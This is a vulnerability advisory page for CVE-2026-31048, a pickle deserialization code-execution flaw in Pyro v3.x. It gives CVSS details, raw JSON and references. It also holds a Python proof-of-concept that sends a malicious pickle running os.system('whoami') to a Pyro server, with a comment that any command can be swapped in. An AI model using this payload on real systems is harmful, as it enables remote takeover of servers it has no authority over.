Security Vulnerability Report
中文
CVE-2026-31048 CVSS 9.8 CRITICAL

CVE-2026-31048

Published: 2026-04-13 20:16:33
Last Modified: 2026-04-27 19:18:47

Description

An issue in the <code>pickle</code> protocol of Pyro v3.x allows attackers to execute arbitrary code via supplying a crafted pickled string message.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Pyro v3.x

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import pickle import os import socket # Target configuration TARGET_HOST = '127.0.0.1' TARGET_PORT = 9090 # Default Pyro port might vary # Malicious payload generation using pickle # __reduce__ returns a tuple (callable, args) that pickle executes during deserialization class MaliciousPayload: def __reduce__(self): # Execute 'id' command (can be replaced with any command) return (os.system, ('whoami',)) # Create the pickled malicious object malicious_data = pickle.dumps(MaliciousPayload()) print(f"[+] Sending malicious payload of length {len(malicious_data)}...") # Send payload to the vulnerable Pyro server try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) # Depending on the specific Pyro protocol implementation, # headers or specific framing might be required. # This demonstrates the raw concept of sending the pickle data. s.sendall(malicious_data) print("[+] Payload sent successfully.") s.close() except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31048", "sourceIdentifier": "[email protected]", "published": "2026-04-13T20:16:33.410", "lastModified": "2026-04-27T19:18:46.690", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in the <code>pickle</code> protocol of Pyro v3.x allows attackers to execute arbitrary code via supplying a crafted pickled string message."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/Sif-0x01/security-advisories/security/advisories/GHSA-7625-w9h5-83rv", "source": "[email protected]"}, {"url": "https://github.com/irmen/Pyro3/blob/master/Pyro/protocol.py#L672-L711", "source": "[email protected]"}, {"url": "https://github.com/irmen/Pyro3/blob/master/docs/9-security.html#L341-L346", "source": "[email protected]"}]}}